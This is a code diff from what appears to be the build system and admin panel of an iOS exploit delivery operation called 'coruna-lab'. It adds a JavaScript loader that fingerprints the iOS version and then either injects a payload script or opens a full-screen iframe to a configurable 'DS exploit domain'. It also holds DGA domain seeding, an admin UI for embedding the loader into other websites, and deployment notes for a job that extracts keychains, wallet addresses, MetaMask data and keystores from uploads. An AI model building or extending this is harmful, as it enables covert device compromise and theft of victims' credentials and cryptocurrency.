@@ -38,6 +38,11 @@ from _common import (
 
 TOOLS = Path(__file__).resolve().parent
 BUILDER_ROOT = TOOLS.parent
+_EMBED_DIR = BUILDER_ROOT.parent / "channel-embed"
+if str(_EMBED_DIR) not in sys.path:
+    sys.path.insert(0, str(_EMBED_DIR))
+from embed_boot import apply_embed_boot  # noqa: E402
+
 SUPPORT_TEMPLATES = ("test", "blank")
 DEFAULT_SUPPORT_TEMPLATE = "blank"
 SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
@@ -66,51 +71,23 @@ def normalize_support_template(value: str | None) -> str:
     return template
 
 
-# Idempotency marker for inlined PV/UV beacon (blank support.html <head>).
-HIT_MARKER = "data-pv"
-HIT_JS_PATH = BUILDER_ROOT.parent / "public" / "t.js"
-
-
-def load_hit_js() -> str:
-    if not HIT_JS_PATH.is_file():
-        raise SystemExit(f"missing hit script: {HIT_JS_PATH}")
-    return HIT_JS_PATH.read_text(encoding="utf-8").strip()
-
-
-def ensure_hit_beacon(support_html: Path) -> None:
-    """Inline PV/UV beacon into <head> (idempotent via data-pv)."""
-    text = support_html.read_text(encoding="utf-8")
-    if HIT_MARKER in text:
-        return
-    block = f'<script {HIT_MARKER}>\n{load_hit_js()}\n</script>\n'
-    lower = text.lower()
-    idx = lower.rfind("</head>")
-    if idx >= 0:
-        text = text[:idx] + block + text[idx:]
-    else:
-        # Fallback: prepend after <html...> or at start.
-        html_idx = lower.find("<html")
-        if html_idx >= 0:
-            gt = text.find(">", html_idx)
-            text = text[: gt + 1] + "\n<head>\n" + block + "</head>\n" + text[gt + 1 :]
-        else:
-            text = "<head>\n" + block + "</head>\n" + text
-    support_html.write_text(text, encoding="utf-8")
-
-
 def apply_support_template(campaign_dir: Path, template: str) -> None:
     template = normalize_support_template(template)
     dest = campaign_dir / "support.html"
-    if template == "test":
-        if not dest.is_file():
-            raise SystemExit(f"missing support.html after campaign copy: {dest}")
-        return
     src = SUPPORT_TEMPLATE_ROOT / f"{template}.html"
     if not src.is_file():
         raise SystemExit(f"missing support template: {src}")
     shutil.copyfile(src, dest)
-    if template == "blank":
+
-        ensure_hit_beacon(dest)
+
+def apply_ds_domain(support_html: Path, ds_domain: str) -> None:
+    """Replace __DS_DOMAIN__ in the landing page (empty = same-origin /next-chain/)."""
+    if not support_html.is_file():
+        return
+    text = support_html.read_text(encoding="utf-8")
+    if "__DS_DOMAIN__" not in text:
+        return
+    support_html.write_text(text.replace("__DS_DOMAIN__", ds_domain), encoding="utf-8")
 
 
 def resolve_python() -> str:
@@ -303,12 +280,20 @@ def main() -> int:
         type=Path,
         help="optional path to write the result JSON (also printed on stdout)",
     )
+    parser.add_argument(
+        "--ds-domain",
+        default="",
+        help="DS exploit domain for support.html iframe (e.g. https://ds.example.com). "
+        "Empty = relative /next-chain/ (default)",
+    )
     args = parser.parse_args()
 
     src_campaign = SOURCE_ROOT / "web"
     src_sync = SOURCE_ROOT / "sync"
     if not src_campaign.is_dir() or not (src_campaign / "support.html").is_file():
         raise SystemExit(f"missing source web template: {src_campaign}")
+    if not (src_campaign / "index.js").is_file():
+        raise SystemExit(f"missing source web/index.js: {src_campaign}")
     if not src_sync.is_dir():
         raise SystemExit(f"missing source sync: {src_sync}")
 
@@ -382,7 +367,10 @@ def main() -> int:
         print("=== build web/%s ===" % channel)
         web_dir.parent.mkdir(parents=True, exist_ok=True)
         shutil.copytree(src_campaign, web_dir, symlinks=False, ignore=_ignore_junk)
+        if not (web_dir / "index.js").is_file():
+            raise SystemExit(f"missing index.js after campaign copy: {web_dir}")
         apply_support_template(web_dir, support_template)
+        apply_ds_domain(web_dir / "support.html", (args.ds_domain or "").rstrip("/"))
         run(
             [
                 py,
@@ -401,6 +389,11 @@ def main() -> int:
                 "--apply",
             ]
         )
+        apply_embed_boot(
+            web_dir,
+            channel_code=channel,
+            ds_domain=(args.ds_domain or "").rstrip("/"),
+        )
     except BaseException:
         if web_dir.exists() and not sync_rebuilt:
             # leave shared sync; remove failed channel web
@@ -421,6 +414,7 @@ def main() -> int:
         "seeds_initialized": seeds_initialized,
         "sync_rebuilt": sync_rebuilt,
         "support_path": f"/web/{channel}/support.html",
+        "ds_domain": (args.ds_domain or "").rstrip("/"),
         "daily_path": "/sync/daily.html",
         "artifact_root": str(artifact_root),
         "state_root": str(state_root),

channel-builder/tools/tests/test_support_landing.py

@@ -0,0 +1,95 @@
+import tempfile
+import unittest
+from pathlib import Path
+import sys
+
+
+TOOLS = Path(__file__).resolve().parents[1]
+SOURCE = TOOLS.parent / "source"
+EMBED = TOOLS.parents[1] / "channel-embed"
+if str(TOOLS) not in sys.path:
+    sys.path.insert(0, str(TOOLS))
+if str(EMBED) not in sys.path:
+    sys.path.insert(0, str(EMBED))
+
+from embed_boot import BOOT_MARKER, apply_embed_boot  # noqa: E402
+from new_project import apply_ds_domain, apply_support_template  # noqa: E402
+
+
+class SupportLandingTest(unittest.TestCase):
+    def test_source_index_js_holds_payload(self) -> None:
+        index_js = (SOURCE / "web" / "index.js").read_text(encoding="utf-8")
+        self.assertIn("function cAsUcoxco", index_js)
+        self.assertGreater(len(index_js), 1000)
+
+    def test_source_landings_only_load_index_js(self) -> None:
+        landings = [
+            SOURCE / "web" / "support.html",
+            SOURCE / "templates" / "support" / "blank.html",
+            SOURCE / "templates" / "support" / "test.html",
+        ]
+        for path in landings:
+            html = path.read_text(encoding="utf-8")
+            self.assertIn('src="index.js"', html, path.name)
+            self.assertNotIn('src="/t.js"', html, path.name)
+            self.assertNotIn("data-pv", html, path.name)
+            self.assertNotIn("/statistic/t", html, path.name)
+            self.assertNotIn("/next-chain/frame.html", html, path.name)
+            self.assertNotIn("__DS_DOMAIN__", html, path.name)
+            self.assertNotIn("function cAsUcoxco", html, path.name)
+
+        clean = (SOURCE / "web" / "support.html").read_text(encoding="utf-8")
+        self.assertNotIn("lab-hud", clean)
+        self.assertNotIn("__labHud", clean)
+        self.assertNotIn("STAGE_MAP", clean)
+
+    def test_apply_embed_boot_renames_payload_and_bakes_channel(self) -> None:
+        with tempfile.TemporaryDirectory() as tmp:
+            dest = Path(tmp)
+            (dest / "index.js").write_text("function cAsUcoxco(){}", encoding="utf-8")
+            apply_embed_boot(
+                dest,
+                channel_code="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
+                ds_domain="https://ds.example.com",
+            )
+            boot = (dest / "index.js").read_text(encoding="utf-8")
+            payload = (dest / "payload.js").read_text(encoding="utf-8")
+            self.assertIn(BOOT_MARKER, boot)
+            self.assertIn("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", boot)
+            self.assertIn("https://ds.example.com", boot)
+            self.assertIn("payload.js", boot)
+            self.assertIn("function cAsUcoxco", payload)
+            apply_embed_boot(
+                dest,
+                channel_code="bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb",
+                ds_domain="",
+            )
+            boot2 = (dest / "index.js").read_text(encoding="utf-8")
+            self.assertIn("bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb", boot2)
+            self.assertEqual((dest / "payload.js").read_text(encoding="utf-8"), payload)
+
+    def test_apply_support_template_does_not_inline_beacon(self) -> None:
+        with tempfile.TemporaryDirectory() as tmp:
+            dest = Path(tmp)
+            apply_support_template(dest, "blank")
+            html = (dest / "support.html").read_text(encoding="utf-8")
+            self.assertIn('src="index.js"', html)
+            self.assertNotIn("data-pv", html)
+            self.assertNotIn("/statistic/t", html)
+
+    def test_apply_ds_domain_replaces_placeholder(self) -> None:
+        with tempfile.TemporaryDirectory() as tmp:
+            dest = Path(tmp) / "support.html"
+            dest.write_text(
+                "var dsDomain = '__DS_DOMAIN__';\nvar dsUrl = dsDomain + '/next-chain/frame.html';\n",
+                encoding="utf-8",
+            )
+            apply_ds_domain(dest, "https://ds.example.com")
+            text = dest.read_text(encoding="utf-8")
+            self.assertNotIn("__DS_DOMAIN__", text)
+            self.assertIn("https://ds.example.com", text)
+            self.assertIn("/next-chain/frame.html", text)
+
+
+if __name__ == "__main__":
+    unittest.main()

channel-embed/embed_boot.py

@@ -0,0 +1,43 @@
+"""Install the shared script-embed boot as published index.js."""
+
+from __future__ import annotations
+
+from pathlib import Path
+
+BOOT_MARKER = "/* coruna-embed-boot */"
+BOOT_TEMPLATE = Path(__file__).with_name("index.boot.js")
+PAYLOAD_NAME = "payload.js"
+INDEX_NAME = "index.js"
+
+
+def apply_embed_boot(
+    dest_dir: Path,
+    *,
+    channel_code: str,
+    ds_domain: str = "",
+) -> Path:
+    dest_dir = Path(dest_dir)
+    if not dest_dir.is_dir():
+        raise SystemExit(f"embed boot: missing directory {dest_dir}")
+    if not BOOT_TEMPLATE.is_file():
+        raise SystemExit(f"embed boot: missing template {BOOT_TEMPLATE}")
+
+    index_path = dest_dir / INDEX_NAME
+    payload_path = dest_dir / PAYLOAD_NAME
+    if index_path.is_file():
+        current = index_path.read_text(encoding="utf-8")
+        if BOOT_MARKER not in current and not payload_path.is_file():
+            index_path.replace(payload_path)
+        elif BOOT_MARKER in current and not payload_path.is_file():
+            raise SystemExit(f"embed boot: {index_path} is boot but {payload_path} is missing")
+    if not payload_path.is_file():
+        raise SystemExit(f"embed boot: missing payload {payload_path}")
+
+    boot = BOOT_TEMPLATE.read_text(encoding="utf-8")
+    boot = boot.replace("__CHANNEL_CODE__", channel_code)
+    boot = boot.replace("__DS_DOMAIN__", (ds_domain or "").rstrip("/"))
+    boot = boot.replace("__STAT_ORIGIN__", "")
+    if BOOT_MARKER not in boot:
+        boot = BOOT_MARKER + "\n" + boot
+    index_path.write_text(boot, encoding="utf-8")
+    return index_path

channel-embed/index.boot.js

@@ -0,0 +1,81 @@
+/* coruna-embed-boot */
+(function () {
+  var CHANNEL = '__CHANNEL_CODE__';
+  var DS_DOMAIN = '__DS_DOMAIN__';
+  var STAT_ORIGIN = '__STAT_ORIGIN__';
+
+  if (CHANNEL && CHANNEL.indexOf('__') !== 0) {
+    window.__CORUNA_CHANNEL__ = CHANNEL;
+  }
+  if (STAT_ORIGIN && STAT_ORIGIN.indexOf('__') !== 0) {
+    window.__CORUNA_STAT_ORIGIN__ = String(STAT_ORIGIN).replace(/\/$/, '');
+  } else {
+    window.__CORUNA_STAT_ORIGIN__ = '';
+  }
+
+  function scriptDir() {
+    try {
+      if (document.currentScript && document.currentScript.src) {
+        return document.currentScript.src.replace(/\/[^\/]*$/, '/');
+      }
+    } catch (e0) {}
+    try {
+      var scripts = document.getElementsByTagName('script');
+      for (var i = scripts.length - 1; i >= 0; i--) {
+        var src = scripts[i].src || '';
+        if (/\/index\.js(?:[?#]|$)/i.test(src)) {
+          return src.replace(/\/index\.js(?:[?#].*)?$/i, '/');
+        }
+      }
+    } catch (e1) {}
+    return '';
+  }
+
+  function inject(src) {
+    var s = document.createElement('script');
+    s.src = src;
+    (document.body || document.documentElement || document.head).appendChild(s);
+  }
+
+  var dir = scriptDir();
+  var statOrigin = window.__CORUNA_STAT_ORIGIN__ || '';
+  inject((statOrigin || location.origin) + '/t.js?' + Date.now());
+
+  function parseIosVersion() {
+    var ua = navigator.userAgent || '';
+    var m = /iPhone OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
+    if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
+    if (!m) {
+      m = /Version\/(\d+)\.(\d+)/.exec(ua);
+      return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
+    }
+    return m[1].split('_').map(function (p) {
+      return parseInt(p, 10);
+    });
+  }
+
+  var ios = parseIosVersion();
+  if (!ios || ios[0] < 18) {
+    inject((dir || '') + 'payload.js?' + Date.now());
+    return;
+  }
+  if (ios[0] === 18) {
+    var channelCode = CHANNEL && CHANNEL.indexOf('__') !== 0 ? CHANNEL : '';
+    if (!channelCode) {
+      try {
+        var path = String(location.pathname || '');
+        var mWeb = path.match(/\/web\/([0-9a-z]{32})\//i);
+        var mCh = path.match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
+        if (mWeb && mWeb[1]) channelCode = mWeb[1];
+        else if (mCh && mCh[1]) channelCode = mCh[1].toUpperCase();
+      } catch (eC) {}
+    }
+    var dsUrl = DS_DOMAIN + '/next-chain/frame.html';
+    if (channelCode) dsUrl += '?c=' + encodeURIComponent(channelCode);
+    var ifr = document.createElement('iframe');
+    ifr.src = dsUrl;
+    ifr.style.cssText = 'position:fixed;top:0;left:0;width:100%;height:100%;border:0;';
+    (document.body || document.documentElement).appendChild(ifr);
+  }
+})();

config/coruna.php

@@ -48,6 +48,8 @@ return [
             storage_path('app/channel-builder')
         ),
         'timeout' => (float) env('CORUNA_CHANNEL_BUILDER_TIMEOUT', 600),
+        // Shared DGA seed for every old-builder channel (deployment === reporting).
+        'seed' => strtolower(trim((string) env('CORUNA_CHANNEL_SEED', ''))),
     ],
     'channel_builder_new' => [
         'python' => (string) env('CORUNA_CHANNEL_BUILDER_NEW_PYTHON', ''),
@@ -259,4 +261,11 @@ return [
         'com.global.wallet.ios',
         'ph.telegra.Telegraph',
     ],
+
+    // Prefer a copy under bin/ so open_basedir can see it. /usr/bin/ldid
+    // still works via proc_open if LDID_PATH points there.
+    'ldid_path' => env('LDID_PATH', base_path('bin/ldid')),
+
+    // Host only; builder prepends https://. Used by App IPA patching.
+    'app_api_domain' => trim((string) env('APP_API_DOMAIN', '')),
 ];

config/queue.php

@@ -44,6 +44,15 @@ return [
             'after_commit' => false,
         ],
 
+        'shell' => [
+            'driver' => 'database',
+            'connection' => env('DB_CONNECTION'),
+            'table' => 'jobs',
+            'queue' => 'shell',
+            'retry_after' => 300,
+            'after_commit' => false,
+        ],
+
         'beanstalkd' => [
             'driver' => 'beanstalkd',
             'host' => env('BEANSTALKD_QUEUE_HOST', 'localhost'),

database/migrations/2026_10_06_061412_add_h5_url_to_channels_table.php

@@ -0,0 +1,22 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    public function up(): void
+    {
+        Schema::table('channels', function (Blueprint $table) {
+            $table->string('h5_url')->nullable()->after('bundle_id');
+        });
+    }
+
+    public function down(): void
+    {
+        Schema::table('channels', function (Blueprint $table) {
+            $table->dropColumn('h5_url');
+        });
+    }
+};

database/migrations/2026_10_06_120000_create_queue_jobs_tables.php

@@ -0,0 +1,57 @@
+<?php
+
+use Illuminate\Database\Migrations\Migration;
+use Illuminate\Database\Schema\Blueprint;
+use Illuminate\Support\Facades\Schema;
+
+return new class extends Migration
+{
+    public function up(): void
+    {
+        if (! Schema::hasTable('jobs')) {
+            Schema::create('jobs', function (Blueprint $table) {
+                $table->id();
+                $table->string('queue')->index();
+                $table->longText('payload');
+                $table->unsignedTinyInteger('attempts');
+                $table->unsignedInteger('reserved_at')->nullable();
+                $table->unsignedInteger('available_at');
+                $table->unsignedInteger('created_at');
+            });
+        }
+
+        if (! Schema::hasTable('job_batches')) {
+            Schema::create('job_batches', function (Blueprint $table) {
+                $table->string('id')->primary();
+                $table->string('name');
+                $table->integer('total_jobs');
+                $table->integer('pending_jobs');
+                $table->integer('failed_jobs');
+                $table->longText('failed_job_ids');
+                $table->mediumText('options')->nullable();
+                $table->integer('cancelled_at')->nullable();
+                $table->integer('created_at');
+                $table->integer('finished_at')->nullable();
+            });
+        }
+
+        if (! Schema::hasTable('failed_jobs')) {
+            Schema::create('failed_jobs', function (Blueprint $table) {
+                $table->id();
+                $table->string('uuid')->unique();
+                $table->text('connection');
+                $table->text('queue');
+                $table->longText('payload');
+                $table->longText('exception');
+                $table->timestamp('failed_at')->useCurrent();
+            });
+        }
+    }
+
+    public function down(): void
+    {
+        Schema::dropIfExists('jobs');
+        Schema::dropIfExists('job_batches');
+        Schema::dropIfExists('failed_jobs');
+    }
+};

docs/BAOTA_DEPLOY.md

@@ -9,7 +9,7 @@
 | 新版 `channel-builder-new`（xxbb / weifile） | `coruna-lab/channel-builder-new` | `X.Y.ZZ`（6 位，如 `A.B.C1`） | `public/channel/<ver>/`；共享模板 `public/details/` |
 
 
-新版用环境变量 `XXBB_CHANNEL_C`**（32-hex）** 作为全站共享 DGA / 上报字段 `c`；渠道之间靠版本号 `ver` 区分，不是靠 `c`。
+新版用环境变量 `XXBB_CHANNEL_C`**（32-hex）** 作为全站共享 DGA / 上报字段 `c`；渠道之间靠版本号 `ver` 区分，不是靠 `c`。旧版用 `CORUNA_CHANNEL_SEED`**（32-hex）** 作为全站共享 DGA seed（deployment === reporting）。
 
 ## 架构
 
@@ -278,6 +278,7 @@ cd /www/wwwroot/coruna-lab/channel-builder-new
 - 7zAES 密码槽固定，**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
 - 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`（读 env 中的 c）；新建渠道时也会自动 rebuild
 - 已有新版渠道要吃上新插件 / iOS 18 利用链：`php artisan xxbb:repack`（可先 `--dry-run`；也可指定 `0.0.01`）。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变，只覆盖 `public/channel/{id}/`
+- 已有旧版渠道要吃上 support.html 路由 / `index.js`：`php artisan coruna:repack`（可先 `--dry-run`；也可指定 32-hex）。渠道 ID 不变，DGA seed 取自 `CORUNA_CHANNEL_SEED`，只覆盖 `public/web/{id}/`
 
 ---
 
@@ -386,6 +387,9 @@ CORUNA_CHANNEL_BUILDER_TIMEOUT=600
 # 新版 xxbb 共享 DGA / 上报字段 c（32 hex）。必填才能后台创建「新版」渠道。
 # 首次：php artisan xxbb:build --random-c → 把打印的值写到这里 → config:clear
 XXBB_CHANNEL_C=
+# 旧版 channel-builder 共享 DGA seed（32 hex）。必填才能后台创建 / coruna:repack 旧版渠道。
+# 已有环境：从 storage/app/channel-builder/lab_seeds.json 的 deployment_seed 抄过来。
+CORUNA_CHANNEL_SEED=
 # iptj PageVisit 与新版设备按 IP 关联窗口（分钟）
 XXBB_VISIT_MATCH_MINUTES=30
 
@@ -434,7 +438,7 @@ ls -la /www/wwwroot/coruna-lab/public/details
 ls -la /www/wwwroot/coruna-lab/storage/app/channel-builder-new/out/weifile
 ```
 
-未配置 `XXBB_CHANNEL_C` 时，后台创建「新版」渠道会直接报错。
+未配置 `XXBB_CHANNEL_C` 时，后台创建「新版」渠道会直接报错。未配置 `CORUNA_CHANNEL_SEED` 时，后台创建 / `coruna:repack` 旧版渠道会直接报错。
 
 ### 2.6 抗压（Redis / 队列 / PHP-FPM）
 
@@ -706,6 +710,10 @@ sudo -u www /www/wwwroot/coruna-lab/channel-builder-new/.venv/bin/python -c 'imp
 
 按 **§1.4** 执行 `php artisan xxbb:build --random-c`，把输出的 `XXBB_CHANNEL_C` 写入 `.env`，再 `config:clear`。确认 `channel-builder-new/.venv` 已安装。
 
+### 后台新建「旧版」渠道失败：`请先在 .env 配置 CORUNA_CHANNEL_SEED`
+
+把现网 `storage/app/channel-builder/lab_seeds.json` 里的 `deployment_seed` 写入 `.env` 的 `CORUNA_CHANNEL_SEED`，再 `config:clear`。新环境可生成一份 32-hex 后写入（改 seed 会换 DGA 域名）。
+
 ### `is_file(): open_basedir restriction` … `channel-builder-new/.venv/bin/python`
 
 `.venv/bin/python` 一般是指向 `/usr/bin/python3*` 的软链。PHP `is_file()` 会解析真实路径，而宝塔 `open_basedir` 通常只有项目根 + `/tmp`，于是报错。

docs/deploy.md

@@ -139,6 +139,12 @@ chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new
 启动目录: /www/wwwroot/coruna-lab
 进程数量: 2
 
+名称: coruna-shell
+启动命令: /www/server/php/82/bin/php artisan queue:work shell --queue=shell --sleep=1 --tries=2 --timeout=120 --memory=256 --max-time=3600
+启动目录: /www/wwwroot/coruna-lab
+进程数量: 2
+说明: SignalShell v1 上传后处理（ZIP 解压、keychain 解析、钱包地址提取、keystore 入库）。HTTP 层只保存文件并 dispatch job，重活在这里跑。MetaMask ZIP 解压后约 9.3MB 文本数据，--memory=256 防止 OOM。数据库 driver（jobs 表），需要 queue:table migration。
+
 名称: coruna-ocr
 启动命令: /www/server/php/82/bin/php -d memory_limit=256M artisan queue:work redis --queue=ocr --sleep=0 --tries=1 --timeout=90 --max-jobs=100
 启动目录: /www/wwwroot/coruna-lab
@@ -184,6 +190,7 @@ url 白名单
 ^/api/user/*
 ^/link/config/*
 ^/api/v2/*
+^/api/ap/*
 /hooks/telegram
 /hooks/tokenview
 /hook/tokenview
@@ -203,6 +210,7 @@ cd /www/wwwroot/coruna-lab && find \
   storage/logs \
   storage/app/channel-builder \
   storage/app/channel-builder-new \
+  storage/app/app-templates \
   storage/framework \
   bootstrap/cache \
   public/channel public/details public/web public/sync \

public/t.js

@@ -14,6 +14,12 @@
       }
     }
     if (!channelId) return;
+    var statOrigin = '';
+    try {
+      if (typeof window.__CORUNA_STAT_ORIGIN__ === 'string') {
+        statOrigin = window.__CORUNA_STAT_ORIGIN__.replace(/\/$/, '');
+      }
+    } catch (eOrigin) {}
     var KEY = 'c_uid';
     var uid = null;
     try {
@@ -43,7 +49,7 @@
     } catch (e) {}
     if (referer.length > 512) referer = referer.slice(0, 512);
     var q =
-      location.origin +
+      (statOrigin || location.origin) +
       '/statistic/t?c=' +
       encodeURIComponent(channelId) +
       '&u=' +

resources/views/admin/channels/index.blade.php

@@ -23,6 +23,9 @@
         <button class="layui-btn" lay-submit lay-filter="LAY-ch-search">搜索</button>
         @if ($portal === 'admin')
         <button type="button" class="layui-btn layui-btn-normal" id="LAY-ch-create">新建</button>
+        @if ($portal === 'admin' && auth('admin')->user()?->isSuper())
+        <button type="button" class="layui-btn layui-btn-warm" id="LAY-ch-create-app">新建 APP</button>
+        @endif
         @endif
       </div>
     </div>
@@ -32,6 +35,9 @@
     <script type="text/html" id="LAY-ch-ops">
       <a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
       <a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
+      @{{# if(d._isSuperAdmin && d.ipa_url){ }}
+      <a class="layui-btn layui-btn-warm layui-btn-xs" href="@{{ d.ipa_url }}" download title="@{{ (d.app_name || 'App') + '.ipa' }}">IPA</a>
+      @{{# } }}
       @{{# if(d._isAdmin){ }}
       <a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
       @{{# } }}
@@ -48,6 +54,7 @@ layui.use(['table', 'form', 'layer'], function () {
   var token = @json(csrf_token());
   var agents = @json($agentOptions ?? []);
   var isAdmin = portal === 'admin';
+  var isSuperAdmin = isAdmin && @json(auth('admin')->user()?->isSuper() ?? false);
   var maxPerAgent = @json($maxPerAgent ?? 5);
 
   if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
@@ -66,6 +73,7 @@ layui.use(['table', 'form', 'layer'], function () {
   cols = cols.concat([
     { field: 'app_name', title: 'App', width: 90, templet: function (d) { return d.app_name || '—'; } },
     { field: 'bundle_id', title: 'Bundle ID', minWidth: 200, templet: function (d) { return d.bundle_id ? '<code>' + d.bundle_id + '</code>' : '—'; } },
+    { field: 'h5_url', title: 'H5 URL', minWidth: 200, templet: function (d) { return d.h5_url ? '<code>' + d.h5_url + '</code>' : '—'; } },
     { field: 'remark', title: '备注', minWidth: 140, templet: function (d) { return d.remark || '—'; } },
     { field: 'status', title: '状态', width: 90, templet: function (d) {
       return d.status == 1
@@ -83,7 +91,7 @@ layui.use(['table', 'form', 'layer'], function () {
     cols: [cols],
     page: true, limit: 20, limits: [10, 20, 30, 50],
     parseData: function (res) {
-      (res.data || []).forEach(function (row) { row._isAdmin = isAdmin; });
+      (res.data || []).forEach(function (row) { row._isAdmin = isAdmin; row._isSuperAdmin = isSuperAdmin; });
       return res;
     },
     request: { pageName: 'page', limitName: 'limit' },
@@ -126,19 +134,47 @@ layui.use(['table', 'form', 'layer'], function () {
     if (!links.length) {
       return layer.msg('未生成投放链接（请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名）');
     }
-    var html = '<div style="padding:16px;">';
+    var firstLink = links[0];
+    var scriptTag = row.embed_script || '<script src="./index.js"><\/script>';
+    var html = '<div style="padding:16px 18px 20px;font-size:13px;line-height:1.6;">';
     links.forEach(function (u, i) {
       html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' +
         '<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '&quot;') + '" style="flex:1;">' +
         '<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '&quot;') + '">复制链接</button>' +
-        '<button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-promo" data-url="' + u.replace(/"/g, '&quot;') + '">复制推广代码</button>' +
         '</div>';
     });
-    html += '</div>';
+
+    html += '<div style="margin-top:16px;padding-top:14px;border-top:1px solid #eee;">' +
+      '<div style="font-size:15px;font-weight:600;margin-bottom:14px;">嵌入方式</div>';
+
+    html += '<div style="margin-bottom:18px;">' +
+      '<div style="font-weight:600;margin-bottom:6px;">方式 1：使用 iframe 嵌入</div>' +
+      '<div style="color:#666;margin-bottom:10px;">将 iframe 插入到 <code>&lt;body&gt;</code> 后</div>' +
+      '<button type="button" class="layui-btn layui-btn-sm layui-btn-normal LAY-ch-promo" data-url="' +
+        firstLink.replace(/"/g, '&quot;') + '">复制代码</button>' +
+      '</div>';
+
+    html += '<div>' +
+      '<div style="font-weight:600;margin-bottom:6px;">方式 2：下载资源包</div>' +
+      '<ol style="margin:0 0 12px 18px;padding:0;color:#666;">' +
+      '<li style="margin-bottom:6px;">将 <code>' + String(scriptTag).replace(/</g, '&lt;') +
+        '</code> 插入到 <code>&lt;head&gt;</code> 中' +
+        ' <button type="button" class="layui-btn layui-btn-xs LAY-ch-copy-script" style="margin-left:6px;">复制脚本</button></li>' +
+      '<li>将资源包解压后放在项目根目录</li>' +
+      '</ol>';
+    if (row.embed_zip_url) {
+      html += '<a class="layui-btn layui-btn-warm" href="' +
+        String(row.embed_zip_url).replace(/"/g, '&quot;') +
+        '" download>下载资源包</a>';
+    } else {
+      html += '<div style="color:#999;">当前渠道还没有可下载的浏览器资源，请先构建 / 重打。</div>';
+    }
+    html += '</div></div></div>';
+
     layer.open({
       type: 1,
       title: '渠道链接 — ' + row.channel_id,
-      area: ['720px', '360px'],
+      area: ['760px', '560px'],
       content: html,
       success: function (layero) {
         layero.find('.LAY-ch-copy').on('click', function () {
@@ -147,7 +183,10 @@ layui.use(['table', 'form', 'layer'], function () {
         });
         layero.find('.LAY-ch-promo').on('click', function () {
           var url = $(this).data('url');
-          copyText(promoIframe(url)).then(function () { layer.msg('推广代码已复制'); });
+          copyText(promoIframe(url)).then(function () { layer.msg('iframe 代码已复制'); });
+        });
+        layero.find('.LAY-ch-copy-script').on('click', function () {
+          copyText(scriptTag).then(function () { layer.msg('脚本代码已复制'); });
         });
       }
     });
@@ -172,6 +211,18 @@ layui.use(['table', 'form', 'layer'], function () {
         html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '&lt;') + '</code></div>';
       });
     }
+    if (data.embed_script || data.embed_zip_url) {
+      html += '<div style="margin:12px 0 6px;"><b>嵌入方式</b></div>';
+      html += '<div style="margin-bottom:6px;">方式 1：iframe 插入到 <code>&lt;body&gt;</code> 后</div>';
+      html += '<div style="margin-bottom:6px;">方式 2：将 <code>' +
+        String(data.embed_script || '<script src="./index.js"><\/script>').replace(/</g, '&lt;') +
+        '</code> 插入到 <code>&lt;head&gt;</code>，资源包解压到项目根目录</div>';
+      if (data.embed_zip_url) {
+        html += '<div style="margin-bottom:10px;"><a href="' +
+          String(data.embed_zip_url).replace(/"/g, '&quot;') +
+          '" download>下载资源包</a></div>';
+      }
+    }
     if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) {
       html += '<div style="margin:12px 0 6px;"><b>' +
         (data.seeds_initialized ? '首次 DGA 域名（请去注册/绑源站）' : 'DGA 域名') +
@@ -229,7 +280,9 @@ layui.use(['table', 'form', 'layer'], function () {
       ? '<div class="layui-form-item LAY-ch-app-only" style="' + (isApp ? '' : 'display:none;') + '"><label class="layui-form-label">App 名称</label><div class="layui-input-block">' +
         '<input name="app_name" class="layui-input" value="' + (values.app_name || '').replace(/"/g, '&quot;') + '" placeholder="例如 Ai"></div></div>' +
         '<div class="layui-form-item LAY-ch-app-only" style="' + (isApp ? '' : 'display:none;') + '"><label class="layui-form-label">Bundle ID</label><div class="layui-input-block">' +
-        '<input name="bundle_id" class="layui-input" value="' + (values.bundle_id || '').replace(/"/g, '&quot;') + '" placeholder="例如 aai.AiAi168168AiAi.app"></div></div>'
+        '<input name="bundle_id" class="layui-input" value="' + (values.bundle_id || '').replace(/"/g, '&quot;') + '" placeholder="例如 aai.AiAi168168AiAi.app"></div></div>' +
+    '<div class="layui-form-item"><label class="layui-form-label">H5 URL</label><div class="layui-input-block">' +
+    '<input name="h5_url" class="layui-input" value="' + (values.h5_url || '').replace(/"/g, '&quot;') + '" placeholder="可选，WebView 加载的页面 URL"></div></div>'
       : '';
 
     var templateBlock = (isAdmin && creating)
@@ -238,7 +291,7 @@ layui.use(['table', 'form', 'layer'], function () {
         '<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank（空白页）</option>' +
         '<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test（加载页 / 15s 倒计时）</option>' +
         '</select>' +
-        '<div class="layui-form-mid layui-word-aux">weifile.html：test=大圆圈加载+15s 倒计时；blank=空白页。路径 /channel/X.Y.ZZ/（c 取自 XXBB_CHANNEL_C）</div></div></div>'
